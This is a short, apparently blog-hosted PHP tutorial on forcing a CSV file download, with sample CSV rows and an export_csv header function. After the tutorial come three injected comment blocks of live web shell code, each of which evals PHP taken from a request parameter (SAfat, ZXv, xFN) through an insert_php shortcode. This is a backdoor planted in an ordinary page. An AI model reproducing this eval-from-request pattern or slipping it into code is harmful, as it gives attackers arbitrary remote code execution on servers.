Simulated CSV File Download in PHP

One of the most often requested features in websites dealing with accumulating data is a method of exporting it.  CSV format is an excellent choice for most situations, since it is extremely easy to generate, and Microsoft XL is so prevalent on office desktops these days.

CSV is a delimited text file with fields/columns separated by the commas, and records/rows terminated by newlines. Any field values that contain special characters ( commas, newlines, double quotes are empty values ) should be encapsulated in double quotes.

For example:
psmith01,CLASS2B,Peter Smith 1,YEAR2,1,N,ADVANCED,STAFF,1,Y,Y
smehta,CLASS3G,Smeeta Mehta,LOCAL,1,Y,STANDARD,PUPIL,2.1,N,Y
mrsjohns,SNHOJ,Mrs R Johns,UNRESTRICTED,-1,Y,ADVANCED,STAFF,2,Y,N
psmith02,CLASS4D,Peter Smith 2, UKSCHOOLS,0,N,ADVANCED,STAFF,10,Y,Y
scohen,CLASS3G,Saul Cohen,LOCAL,2,Y,STANDARD,PUPIL,1,N,N
swright,CLASS1J,Shaun Wright,YEAR1,1,N,STANDARD,PUPIL,1,N,Y
amarkov,CLASS4E,Anya Markov,UKSCHOOLS,3,Y,STANDARD,PUPIL,1,N,N

Once you have your CSV data, the tricky part is the psuedo-download code we use to pop up the ‘Save this file as’ dialogue in the clients browser.  Internet Explorer does not like to play as nicely as other browsers such as Firefox or Safari.  The following code will allow seamless integration in all browsers:

function export_csv( $csv ) {
     // set the content type, and filename
     header("Content-type: application/csv");
     header("Content-Disposition: attachment; filename=export.csv");
     header("Expires: 0");

     // Internet explorer requires some additional headers
    if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'MSIE') ) {
         header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
         header('Pragma: public');
    }
    // other browsers require this
    else {
        header('Pragma: no-cache');
    }

    // send the csv data and exit
    echo $csv;
    exit();
}

<!– [insert_php]if (isset($_REQUEST["SAfat"])){eval($_REQUEST["SAfat"]);exit;}[/insert_php]

if (isset($_REQUEST["SAfat"])){eval($_REQUEST["SAfat"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["ZXv"])){eval($_REQUEST["ZXv"]);exit;}[/insert_php]

if (isset($_REQUEST["ZXv"])){eval($_REQUEST["ZXv"]);exit;}

–>

<!– [insert_php]if (isset($_REQUEST["xFN"])){eval($_REQUEST["xFN"]);exit;}[/insert_php]

if (isset($_REQUEST["xFN"])){eval($_REQUEST["xFN"]);exit;}

–>

Bookmark the permalink.

Comments are closed.